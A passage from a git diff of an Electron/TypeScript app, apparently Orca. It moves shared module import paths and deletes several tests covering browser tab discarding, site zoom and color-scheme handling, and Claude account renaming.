'../../runtime/agent-session/installation/structured-agent-runtime-metadata' diff --git a/src/main/ai-vault/structured-sessions/structured-session-ownership.ts b/src/main/ai-vault/structured-sessions/structured-session-ownership.ts index acd258be96b..55eba0c7312 100644 --- a/src/main/ai-vault/structured-sessions/structured-session-ownership.ts +++ b/src/main/ai-vault/structured-sessions/structured-session-ownership.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import { homedir } from 'node:os' import { join } from 'node:path' import { diff --git a/src/main/automations/dispatch/automation-dispatch-request.ts b/src/main/automations/dispatch/automation-dispatch-request.ts index ca75c466369..eb05ac4557c 100644 --- a/src/main/automations/dispatch/automation-dispatch-request.ts +++ b/src/main/automations/dispatch/automation-dispatch-request.ts @@ -5,7 +5,7 @@ import type { AutomationRun, AutomationPrecheckResult } from '../../../shared/automations/history/automation-run' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { Store } from '../../persistence/loading-store/store' import type { AutomationRunWriter } from '../run-history/run-writer' import type { AutomationLauncher } from '../launch/automation-launch' diff --git a/src/main/automations/launch/automation-terminal-launch.ts b/src/main/automations/launch/automation-terminal-launch.ts index 21655a48ff2..abf0b8e7173 100644 --- a/src/main/automations/launch/automation-terminal-launch.ts +++ b/src/main/automations/launch/automation-terminal-launch.ts @@ -1,6 +1,9 @@ import { automationTerminalLaunchInputs } from '../../../shared/automations/launch/automation-launch-setup' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../shared/execution-host/execution-host' import { automationRunFailure } from '../../../shared/automations/history/automation-run-failure-copy' // Automations observe PTYs, so launch terminal agents regardless of the chat default. diff --git a/src/main/automations/launch/automation-workspace-create.ts b/src/main/automations/launch/automation-workspace-create.ts index 9a8f53310cb..b2d72f7ae52 100644 --- a/src/main/automations/launch/automation-workspace-create.ts +++ b/src/main/automations/launch/automation-workspace-create.ts @@ -1,6 +1,6 @@ import { automationTerminalLaunchInputs } from '../../../shared/automations/launch/automation-launch-setup' import { hostQualifiedRepoSelector } from '../../runtime/workspaces/catalog/runtime-repo-selector' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { Automation } from '../../../shared/automations/automation-definition' import type { AutomationRun } from '../../../shared/automations/history/automation-run' import { buildAutomationWorkspaceProvenance } from '../../../shared/automations/ownership/automation-workspace-provenance' diff --git a/src/main/automations/ownership/automation-owner-migration.ts b/src/main/automations/ownership/automation-owner-migration.ts index 019abf13f58..13bd23259e3 100644 --- a/src/main/automations/ownership/automation-owner-migration.ts +++ b/src/main/automations/ownership/automation-owner-migration.ts @@ -4,7 +4,7 @@ import type { SshTarget } from '../../../shared/remote-runtime/ssh/ssh-types' import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../shared/project/groups/project-group-types' import type { Repo } from '../../../shared/repository/repo-types' -import { parseExecutionHostId } from '../../../shared/execution-host' +import { parseExecutionHostId } from '../../../shared/execution-host/execution-host' import { resolveAutomationWorkspaceSshTargetId, resolveAutomationWorkspaceHost, diff --git a/src/main/automations/ownership/automation-ssh-readoption-migration.ts b/src/main/automations/ownership/automation-ssh-readoption-migration.ts index a350f456d8d..2bad3ea1d61 100644 --- a/src/main/automations/ownership/automation-ssh-readoption-migration.ts +++ b/src/main/automations/ownership/automation-ssh-readoption-migration.ts @@ -1,11 +1,14 @@ import type { Automation } from '../../../shared/automations/automation-definition' import type { AutomationRun } from '../../../shared/automations/history/automation-run' -import type { PersistedUIState } from '../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../shared/orca-profiles/persisted-ui-state-types' import type { TaskSourceContext, WorkspaceRunContext } from '../../../shared/work-items/task-source-context' -import { toSshExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host' +import { + toSshExecutionHostId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import { hostStableKey, parseHostStableKey diff --git a/src/main/automations/ownership/run-target-resolution.ts b/src/main/automations/ownership/run-target-resolution.ts index 049a5d33d76..3a3aa8b0be6 100644 --- a/src/main/automations/ownership/run-target-resolution.ts +++ b/src/main/automations/ownership/run-target-resolution.ts @@ -8,7 +8,10 @@ import { type AutomationCapturedHostIssue } from '../../../shared/automations/ownership/automation-list-scope' import { AUTOMATION_CAPTURED_HOST_REFUSALS } from '../../../shared/automations/ownership/automation-owner-conflict' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { ProjectHostSetup } from '../../../shared/project/project-types' import type { Repo } from '../../../shared/repository/repo-types' import { splitWorktreeIdForFilesystem } from '../../../shared/worktree/id' diff --git a/src/main/azure-devops/pull-request-creation.ts b/src/main/azure-devops/pull-request-creation.ts index 75d02c5367b..f84302735a0 100644 --- a/src/main/azure-devops/pull-request-creation.ts +++ b/src/main/azure-devops/pull-request-creation.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import { hostedReviewSshConnectionId } from '../source-control/hosted-review-execution-host' import { Buffer } from 'node:buffer' import type { diff --git a/src/main/bitbucket/pull-request-creation.ts b/src/main/bitbucket/pull-request-creation.ts index 10c0f3fbee8..f0991d833bf 100644 --- a/src/main/bitbucket/pull-request-creation.ts +++ b/src/main/bitbucket/pull-request-creation.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import { hostedReviewSshConnectionId } from '../source-control/hosted-review-execution-host' import type { CreateHostedReviewInput, diff --git a/src/main/browser/backends/offscreen-browser-backend.ts b/src/main/browser/backends/offscreen-browser-backend.ts index f171642ea7c..d57debeffd1 100644 --- a/src/main/browser/backends/offscreen-browser-backend.ts +++ b/src/main/browser/backends/offscreen-browser-backend.ts @@ -1,6 +1,6 @@ import { randomUUID } from 'node:crypto' import { BrowserWindow } from 'electron' -import '../../../shared/constants' +import '../../../shared/orca-profiles/constants' import { ORCA_BROWSER_PARTITION } from '../../../shared/browser/browser-session-partition' import { ORCA_BROWSER_GUEST_WEB_PREFERENCES } from '../../../shared/browser/guest-lifecycle/browser-guest-web-preferences' import { mapSettledWithConcurrency } from '../../../shared/concurrency/map-with-concurrency' diff --git a/src/main/browser/extensions/actions/browser-extension-toolbar-electron-fixture.ts b/src/main/browser/extensions/actions/browser-extension-toolbar-electron-fixture.ts index fa42fd3652c..0b6d555dc2b 100644 --- a/src/main/browser/extensions/actions/browser-extension-toolbar-electron-fixture.ts +++ b/src/main/browser/extensions/actions/browser-extension-toolbar-electron-fixture.ts @@ -1,6 +1,6 @@ import { app, BaseWindow, BrowserWindow, protocol, ipcMain, session } from 'electron' import { renameSync, writeFileSync } from 'node:fs' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_PARTITION } from '../../../../shared/browser/browser-session-partition' import { applyBackgroundActivationPolicy } from '../../../window/activation/foreground-activation-policy' import { browserManager } from '../../guest-lifecycle/manager/browser-manager' diff --git a/src/main/browser/extensions/api-runtime/browser-extension-electron-fixture.ts b/src/main/browser/extensions/api-runtime/browser-extension-electron-fixture.ts index 08667ea3933..6e473ff0b6a 100644 --- a/src/main/browser/extensions/api-runtime/browser-extension-electron-fixture.ts +++ b/src/main/browser/extensions/api-runtime/browser-extension-electron-fixture.ts @@ -1,7 +1,7 @@ import { app, BaseWindow, BrowserWindow, protocol, session, webContents } from 'electron' import { renameSync, writeFileSync } from 'node:fs' import { createServer } from 'node:http' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_PARTITION } from '../../../../shared/browser/browser-session-partition' import { applyBackgroundActivationPolicy } from '../../../window/activation/foreground-activation-policy' import { browserManager } from '../../guest-lifecycle/manager/browser-manager' diff --git a/src/main/browser/extensions/native-messaging/browser-extension-native-messaging-electron-fixture.ts b/src/main/browser/extensions/native-messaging/browser-extension-native-messaging-electron-fixture.ts index 95b89a663ad..9582616278b 100644 --- a/src/main/browser/extensions/native-messaging/browser-extension-native-messaging-electron-fixture.ts +++ b/src/main/browser/extensions/native-messaging/browser-extension-native-messaging-electron-fixture.ts @@ -1,7 +1,7 @@ import { app, BaseWindow, BrowserWindow, protocol, session } from 'electron' import { existsSync, mkdirSync, renameSync, writeFileSync } from 'node:fs' import { join } from 'node:path' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_PARTITION } from '../../../../shared/browser/browser-session-partition' import { applyBackgroundActivationPolicy } from '../../../window/activation/foreground-activation-policy' import { browserSessionRegistry } from '../../sessions/profiles/browser-session-registry' diff --git a/src/main/browser/extensions/profile-sessions/browser-extension-lifecycle-electron-fixture.ts b/src/main/browser/extensions/profile-sessions/browser-extension-lifecycle-electron-fixture.ts index ae899b46811..42835f4f97b 100644 --- a/src/main/browser/extensions/profile-sessions/browser-extension-lifecycle-electron-fixture.ts +++ b/src/main/browser/extensions/profile-sessions/browser-extension-lifecycle-electron-fixture.ts @@ -1,6 +1,6 @@ import { app, BaseWindow, protocol, session } from 'electron' import { renameSync, writeFileSync } from 'node:fs' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_PARTITION } from '../../../../shared/browser/browser-session-partition' import { applyBackgroundActivationPolicy } from '../../../window/activation/foreground-activation-policy' import { browserSessionRegistry } from '../../sessions/profiles/browser-session-registry' diff --git a/src/main/browser/extensions/profile-storage/browser-extension-persistence-electron-fixture.ts b/src/main/browser/extensions/profile-storage/browser-extension-persistence-electron-fixture.ts index 865bc35939a..daf9f0c735d 100644 --- a/src/main/browser/extensions/profile-storage/browser-extension-persistence-electron-fixture.ts +++ b/src/main/browser/extensions/profile-storage/browser-extension-persistence-electron-fixture.ts @@ -1,7 +1,7 @@ import { app, BaseWindow, BrowserWindow, protocol, session } from 'electron' import { renameSync, writeFileSync } from 'node:fs' import { createServer } from 'node:http' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_PARTITION } from '../../../../shared/browser/browser-session-partition' import { applyBackgroundActivationPolicy } from '../../../window/activation/foreground-activation-policy' import { initializeBrowserProcessUserAgent } from '../../identity/browser-process-user-agent' diff --git a/src/main/browser/extensions/tabs-and-windows/browser-extension-discarded-tabs.test.ts b/src/main/browser/extensions/tabs-and-windows/browser-extension-discarded-tabs.test.ts index ac462e91ee8..35a45537dac 100644 --- a/src/main/browser/extensions/tabs-and-windows/browser-extension-discarded-tabs.test.ts +++ b/src/main/browser/extensions/tabs-and-windows/browser-extension-discarded-tabs.test.ts @@ -5,7 +5,7 @@ import type { BrowserPage, BrowserWorkspace } from '../../../../shared/browser/workspaces/browser-workspace-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import type { BrowserExtensionCaller } from '../api-runtime/browser-extension-namespace-registry' @@ -287,38 +287,6 @@ beforeEach(() => { }) describe('restored browser pages without a guest are discarded tabs', () => { - it('activates through the renderer, then is replaced by the loaded guest', async () => { - const [cold] = await query({ discarded: true }) - const coldId = cold.id! - // Showing the page makes it active before its guest exists. - recordActiveBrowserPage('cold') - expect(events('onActivated')).toContainEqual([{ tabId: coldId, windowId: 1 }]) - await call('update', [coldId, { active: true }]) - expect(mocks.activate).toHaveBeenCalledWith(expect.objectContaining({ id: 1 }), 'cold') - - // The guest starts loading before the renderer registers it: no onCreated for a reloaded tab. - const loaded = guest(12, mocks.sessions.default, 'https://cold.test/') - loaded.emit('did-start-loading') - expect(events('onCreated')).toEqual([]) - mocks.pageByGuest.set(12, 'cold') - announceRegisteredBrowserExtensionTab('cold', 12) - expect(events('onReplaced')).toEqual([[12, coldId]]) - expect(events('onCreated')).toEqual([]) - expect(events('onUpdated')).toContainEqual([ - 12, - expect.objectContaining({ status: 'loading' }), - expect.objectContaining({ id: 12 }) - ]) - // The renderer republishes the active page once registered; it is the same activation. - const activations = events('onActivated').length - recordActiveBrowserPage('cold') - expect(events('onActivated')).toHaveLength(activations) - await expect(call('get', [coldId, null])).rejects.toThrow(`No tab with id: ${coldId}.`) - expect((await query({ discarded: true })).map((entry) => entry.url)).not.toContain( - 'https://cold.test/' - ) - }) - it("lists no page of a profile whose extensions have not started, not even to Default's", async () => { saved.local.browserTabsByWorktree = { ...saved.local.browserTabsByWorktree, diff --git a/src/main/browser/guest-lifecycle/browser-page-idle-discard.ts b/src/main/browser/guest-lifecycle/browser-page-idle-discard.ts index 123a9a7875a..4689b483450 100644 --- a/src/main/browser/guest-lifecycle/browser-page-idle-discard.ts +++ b/src/main/browser/guest-lifecycle/browser-page-idle-discard.ts @@ -9,7 +9,7 @@ import { type BrowserMemorySaverGlobalSettings, type BrowserMemorySaverPolicy } from '../../../shared/browser/guest-lifecycle/browser-memory-saver' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { getSystemAwakeClock } from '../../power/awake-clock' import { getSystemPowerState, diff --git a/src/main/browser/guest-lifecycle/input/shortcuts/browser-guest-shortcut-dispatch.ts b/src/main/browser/guest-lifecycle/input/shortcuts/browser-guest-shortcut-dispatch.ts index 528d4bce7a1..162991cea39 100644 --- a/src/main/browser/guest-lifecycle/input/shortcuts/browser-guest-shortcut-dispatch.ts +++ b/src/main/browser/guest-lifecycle/input/shortcuts/browser-guest-shortcut-dispatch.ts @@ -5,7 +5,7 @@ import { import { keybindingMatchesAction } from '../../../../../shared/keybindings/matching' import { hasModifier } from '../../../../../shared/keybindings/parser' import type { KeybindingOverrides } from '../../../../../shared/keybindings/types' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type { BrowserPageZoomDirection } from '../../../../../shared/browser/site-settings/browser-page-zoom' import type { BrowserFindTarget } from '../../../../../shared/browser/guest-lifecycle/browser-find-source' import type { BrowserPageTabShortcut } from '../../../../../shared/browser/guest-lifecycle/browser-page-command-target' diff --git a/src/main/browser/guest-lifecycle/manager/browser-manager.ts b/src/main/browser/guest-lifecycle/manager/browser-manager.ts index 3e1292f6c85..bad7296b3d9 100644 --- a/src/main/browser/guest-lifecycle/manager/browser-manager.ts +++ b/src/main/browser/guest-lifecycle/manager/browser-manager.ts @@ -1,6 +1,6 @@ import { webContents } from 'electron' import { BrowserCertificateTrustController } from '../../certificate-trust/browser-certificate-trust-controller' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../shared/browser/browser-blank-page' import { normalizeBrowserNavigationUrl } from '../../../../shared/browser/navigation/browser-url' // oxlint-disable-next-line import/no-cycle -- browser subsystem singleton hub (browserManager); breaking it needs DI and test-mock updates, left for a human diff --git a/src/main/browser/routing/guest-authority/browser-route-guest-guard.ts b/src/main/browser/routing/guest-authority/browser-route-guest-guard.ts index 79318e51dae..85632c096f7 100644 --- a/src/main/browser/routing/guest-authority/browser-route-guest-guard.ts +++ b/src/main/browser/routing/guest-authority/browser-route-guest-guard.ts @@ -1,7 +1,7 @@ import { hasPendingBrowserPageAttach } from '../../guest-lifecycle/browser-page-memory' import type { Session, WebContents } from 'electron' import { normalizeBrowserNavigationUrl } from '../../../../shared/browser/navigation/browser-url' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../shared/browser/browser-blank-page' import { isValidBrowserRoutePageOwnerIdentity, diff --git a/src/main/browser/routing/guest-authority/browser-route-guest-lifecycle.ts b/src/main/browser/routing/guest-authority/browser-route-guest-lifecycle.ts index c37063855e8..69aed5d6be3 100644 --- a/src/main/browser/routing/guest-authority/browser-route-guest-lifecycle.ts +++ b/src/main/browser/routing/guest-authority/browser-route-guest-lifecycle.ts @@ -4,7 +4,7 @@ import { } from '../../guest-lifecycle/browser-page-memory' import type { BrowserRouteWebContentsRegistryDependencies } from './browser-route-webcontents-registry-dependencies' import { normalizeBrowserNavigationUrl } from '../../../../shared/browser/navigation/browser-url' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../shared/browser/browser-blank-page' import type { WebContents } from 'electron' import { diff --git a/src/main/browser/routing/guest-authority/browser-route-guest-popups.ts b/src/main/browser/routing/guest-authority/browser-route-guest-popups.ts index 69f80f7c0fc..67e041fa64d 100644 --- a/src/main/browser/routing/guest-authority/browser-route-guest-popups.ts +++ b/src/main/browser/routing/guest-authority/browser-route-guest-popups.ts @@ -1,5 +1,5 @@ import type { Session, WebContents } from 'electron' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../../shared/browser/browser-blank-page' import { isBlankBrowserPopupUrl, diff --git a/src/main/browser/sessions/profiles/browser-session-registry.ts b/src/main/browser/sessions/profiles/browser-session-registry.ts index f97cd3f8bf4..97c3e03237d 100644 --- a/src/main/browser/sessions/profiles/browser-session-registry.ts +++ b/src/main/browser/sessions/profiles/browser-session-registry.ts @@ -1,7 +1,7 @@ import { app, session } from 'electron' import { randomUUID } from 'node:crypto' import { join } from 'node:path' -import '../../../../shared/constants' +import '../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_PARTITION } from '../../../../shared/browser/browser-session-partition' import { DEFAULT_LOCAL_ORCA_PROFILE_ID, diff --git a/src/main/browser/site-settings/display/browser-site-display-controller.test.ts b/src/main/browser/site-settings/display/browser-site-display-controller.test.ts deleted file mode 100644 index 1c5ac6c2bf5..00000000000 --- a/src/main/browser/site-settings/display/browser-site-display-controller.test.ts +++ /dev/null @@ -1,159 +0,0 @@ -import { EventEmitter } from 'node:events' -import { mkdtempSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' -import { browserPageZoomLevelToPercent } from '../../../../shared/browser/site-settings/browser-page-zoom' -import { BrowserSiteDisplayController } from './browser-site-display-controller' -import { - configureBrowserSiteDisplayStore, - updateBrowserSiteDisplay -} from './browser-site-display-store' - -type FakeGuest = Electron.WebContents & - EventEmitter & { url: string; level: number; mediaSent: unknown[] } - -let nextGuestId = 1 - -function fakeGuest(url: string): FakeGuest { - const debuggerEvents = new EventEmitter() - let attached = false - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the controller only reads id, getURL, zoom, isDestroyed, dom-ready and the debugger. - const guest = new EventEmitter() as FakeGuest - Object.assign(guest, { - id: nextGuestId++, - url, - level: 0, - mediaSent: [], - isDestroyed: () => false, - getURL: () => guest.url, - getZoomLevel: () => guest.level, - setZoomLevel: (level: number) => { - guest.level = level - }, - debugger: Object.assign(debuggerEvents, { - isAttached: () => attached, - attach: () => { - attached = true - }, - detach: () => { - attached = false - debuggerEvents.emit('detach') - }, - sendCommand: (method: string, params: { features: { value: string }[] }) => { - if (method === 'Emulation.setEmulatedMedia') { - guest.mediaSent.push(params.features[0].value) - } - return Promise.resolve({}) - } - }) - }) - return guest -} - -function uiStore(initial: Partial = {}): { - getUI: () => PersistedUIState - onUIChanged: (listener: (ui: PersistedUIState) => void) => () => void - update: (update: Partial) => void -} { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the controller reads only uiZoomLevel and browserDefaultZoomLevel. - let ui = { uiZoomLevel: 0, browserDefaultZoomLevel: 0, ...initial } as PersistedUIState - const listeners: ((ui: PersistedUIState) => void)[] = [] - return { - getUI: () => ui, - onUIChanged: (listener) => { - listeners.push(listener) - return () => {} - }, - update: (update) => { - ui = { ...ui, ...update } - listeners.forEach((listener) => listener(ui)) - } - } -} - -const percent = (guest: FakeGuest): number => browserPageZoomLevelToPercent(guest.level) - -beforeEach(() => { - configureBrowserSiteDisplayStore(mkdtempSync(join(tmpdir(), 'orca-site-display-'))) -}) - -describe('BrowserSiteDisplayController zoom', () => { - it("restores the site's zoom after Orca's UI zoom is copied onto the page", () => { - const controller = new BrowserSiteDisplayController() - const ui = uiStore() - controller.followZoomSettings(ui) - const guest = fakeGuest('https://github.com/') - controller.onGuestRegistered(guest, null) - controller.zoomPage(guest.id, 'in') - // Model Electron copying the embedder's zoom on UI changes and navigation. - const copyUIZoom = (): void => { - guest.level = 1 - } - - copyUIZoom() - ui.update({ uiZoomLevel: 1 }) - expect(percent(guest)).toBe(110) - - guest.url = 'https://github.com/next' - controller.onMainFrameNavigationCommitted(guest.id) - copyUIZoom() - guest.emit('dom-ready') - expect(percent(guest)).toBe(110) - - copyUIZoom() - controller.zoomPage(guest.id, 'in') - expect(percent(guest)).toBe(125) - }) -}) - -describe('BrowserSiteDisplayController color scheme', () => { - it.each([ - { order: 'read-first', profileId: 'work', colorScheme: 'light', saved: 'dark' }, - { order: 'registration-first', profileId: 'work', colorScheme: 'light', saved: 'dark' } - ] as const)( - 'keeps actual $profileId precedence across $order, reload and debugger loss', - ({ order, profileId, colorScheme, saved }) => { - const controller = new BrowserSiteDisplayController() - updateBrowserSiteDisplay('default', 'file://', { colorScheme: 'light' }) - updateBrowserSiteDisplay('work', 'file://', { colorScheme: 'dark' }) - const guest = fakeGuest('') - const document = { - url: 'file:///chat-scratch/chart.html', - profileId, - colorScheme - } - const rendererProfile = profileId === 'work' ? 'default' : 'work' - if (order === 'registration-first') { - controller.onGuestRegistered(guest, rendererProfile) - } - controller.onGuestDocumentStart(guest, document) - expect(guest.mediaSent.at(-1)).toBe(saved) - controller.onGuestRegistered(guest, rendererProfile) - expect(guest.mediaSent.at(-1)).toBe(saved) - guest.url = document.url - controller.onGuestRegistered(guest, rendererProfile) - expect(controller.getPageDisplay(guest.id)?.colorScheme).toBe(saved) - expect(guest.listenerCount('dom-ready')).toBe(1) - expect(guest.debugger.listenerCount('detach')).toBe(1) - guest.debugger.detach() - expect(guest.debugger.isAttached()).toBe(false) - const before = guest.mediaSent.length - controller.onGuestDocumentStart(guest, document) - expect(guest.mediaSent.slice(before)).toEqual([saved]) - expect(guest.debugger.isAttached()).toBe(true) - controller.setColorScheme(guest.id, null) - expect(guest.mediaSent.at(-1)).toBe(colorScheme) - const replacement = fakeGuest('') - controller.onGuestDocumentStart(replacement, document) - expect(replacement.mediaSent).toEqual([colorScheme]) - controller.onGuestRetired(guest.id) - controller.onGuestRetired(replacement.id) - expect(guest.listenerCount('dom-ready')).toBe(0) - expect(guest.debugger.listenerCount('detach')).toBe(0) - } - ) -}) - -vi.mock('electron', () => ({ app: { getPath: () => tmpdir() } })) diff --git a/src/main/browser/site-settings/display/browser-site-display-controller.ts b/src/main/browser/site-settings/display/browser-site-display-controller.ts index d49a562b6c8..d25cfc1b2ef 100644 --- a/src/main/browser/site-settings/display/browser-site-display-controller.ts +++ b/src/main/browser/site-settings/display/browser-site-display-controller.ts @@ -14,7 +14,7 @@ import { normalizeBrowserPageZoomLevel, type BrowserPageZoomDirection } from '../../../../shared/browser/site-settings/browser-page-zoom' -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' import { errorMessage } from '../../../../shared/errors/error-message' type TrackedGuest = { diff --git a/src/main/claude-accounts/claude-account-service.test.ts b/src/main/claude-accounts/claude-account-service.test.ts index b4ead72ae26..f93e41a8153 100644 --- a/src/main/claude-accounts/claude-account-service.test.ts +++ b/src/main/claude-accounts/claude-account-service.test.ts @@ -2,8 +2,8 @@ import { existsSync, mkdirSync, mkdtempSync, renameSync, rmSync, writeFileSync } import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it, vi } from 'vitest' -import { getDefaultSettings } from '../../shared/constants' -import type { GlobalSettings } from '../../shared/global-settings-types' +import { getDefaultSettings } from '../../shared/orca-profiles/constants' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { ClaudeManagedAccount } from '../../shared/agent-accounts/managed-account-types' import type { ClaudeCommandConfig, ClaudeCommandOptions } from './sign-in/claude-command-process' @@ -178,31 +178,6 @@ describe('ClaudeAccountService', () => { expect(existsSync(join(f.root, newId(f)))).toBe(false) }) - it('names a signed-out account without touching its sign-in, keeps the name, and drops it on removal', async () => { - const f = fixture() - const records = f.settings().claudeManagedAccounts - const selection = f.settings().activeClaudeManagedAccountIdsByRuntime - expect(f.service.renameAccount('b', ' Work ').accounts).toContainEqual( - expect.objectContaining({ id: 'b', email: 'b@example.test', displayName: 'Work' }) - ) - // Launch-relevant records and selection stay the same objects, so nothing re-reads them. - expect(f.settings().claudeManagedAccounts).toBe(records) - expect(f.settings().activeClaudeManagedAccountIdsByRuntime).toBe(selection) - f.runLogin.mockImplementationOnce(async () => { - f.signIn('b', 'b@example.test') - return '' - }) - await f.service.reauthenticateAccount('b') - expect(f.service.listAccounts().accounts.find((entry) => entry.id === 'b')?.displayName).toBe( - 'Work' - ) - f.service.renameAccount('b', ' ') - expect(f.settings().managedAccountDisplayNames).toEqual({ claude: {} }) - f.service.renameAccount('b', 'Work') - await f.service.removeAccount('b') - expect(f.settings().managedAccountDisplayNames).toEqual({ claude: {} }) - }) - it('signs a saved account in again inside its own folder and keeps it on failure', async () => { const f = fixture() f.runLogin.mockImplementationOnce(async (_args, config) => { diff --git a/src/main/claude-accounts/profiles/claude-profile-paths.ts b/src/main/claude-accounts/profiles/claude-profile-paths.ts index 9717aacf114..8a35bb7527c 100644 --- a/src/main/claude-accounts/profiles/claude-profile-paths.ts +++ b/src/main/claude-accounts/profiles/claude-profile-paths.ts @@ -6,7 +6,7 @@ import { CLAUDE_USER_CONFIG_DIR_ENV } from '../../../shared/agent-accounts/claude/claude-profile-routing' import { isDefinitiveAbsence } from '../../../shared/errors/definitive-filesystem-absence' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { writeFileAtomically } from '../../filesystem/atomic-file-publication' import { ClaudeProfileSurfaceError } from './claude-profile-report' diff --git a/src/main/claude-accounts/profiles/routing/claude-observed-config-dirs.ts b/src/main/claude-accounts/profiles/routing/claude-observed-config-dirs.ts index 2d567ed8df0..8dd73c742e5 100644 --- a/src/main/claude-accounts/profiles/routing/claude-observed-config-dirs.ts +++ b/src/main/claude-accounts/profiles/routing/claude-observed-config-dirs.ts @@ -1,7 +1,7 @@ import { readFileSync } from 'node:fs' import { basename, dirname, isAbsolute, resolve } from 'node:path' import { resolveAbsoluteDirOverride } from '../../../../shared/file-access/absolute-dir-override' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { writeFileAtomically } from '../../../filesystem/atomic-file-publication' import { isDirectory } from '../claude-profile-homes' diff --git a/src/main/claude-accounts/profiles/routing/claude-profile-router.ts b/src/main/claude-accounts/profiles/routing/claude-profile-router.ts index 27e6ce3cea1..6dc8763964b 100644 --- a/src/main/claude-accounts/profiles/routing/claude-profile-router.ts +++ b/src/main/claude-accounts/profiles/routing/claude-profile-router.ts @@ -13,7 +13,7 @@ import { CLAUDE_USER_CONFIG_DIR_ENV } from '../../../../shared/agent-accounts/claude/claude-profile-routing' import { claudeProfileMissing } from './claude-profile-launch-errors' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { ClaudeManagedAccount } from '../../../../shared/agent-accounts/managed-account-types' import { probeRecentClaudeCliVersion } from '../../../claude/cli-capabilities/claude-hook-event-versions' import { writeFileAtomically } from '../../../filesystem/atomic-file-publication' diff --git a/src/main/claude-accounts/runtime-auth/claude-structured-auth-policy.ts b/src/main/claude-accounts/runtime-auth/claude-structured-auth-policy.ts index 47c52b29ca4..eef03b680e5 100644 --- a/src/main/claude-accounts/runtime-auth/claude-structured-auth-policy.ts +++ b/src/main/claude-accounts/runtime-auth/claude-structured-auth-policy.ts @@ -1,5 +1,5 @@ import type { AgentSessionAccountKind } from '../../../shared/agent-session/agent-session-availability' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { getClaudeProfileRouter } from '../profiles/routing/claude-profile-installed-router' import { isHostManagedClaudeAccount } from './environment' import { getSelectedClaudeAccountIdForTarget } from '../selection/runtime-selection' diff --git a/src/main/claude-accounts/selection/claude-account-selection.ts b/src/main/claude-accounts/selection/claude-account-selection.ts index 251084548d7..fc14bff3166 100644 --- a/src/main/claude-accounts/selection/claude-account-selection.ts +++ b/src/main/claude-accounts/selection/claude-account-selection.ts @@ -3,7 +3,7 @@ import type { ClaudeManagedAccountSummary, ClaudeRateLimitAccountsState } from '../../../shared/agent-accounts/managed-account-types' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { getManagedAccountDisplayName, normalizeManagedAccountDisplayName, diff --git a/src/main/claude-accounts/selection/runtime-selection.ts b/src/main/claude-accounts/selection/runtime-selection.ts index be27b87086c..73657402b69 100644 --- a/src/main/claude-accounts/selection/runtime-selection.ts +++ b/src/main/claude-accounts/selection/runtime-selection.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from 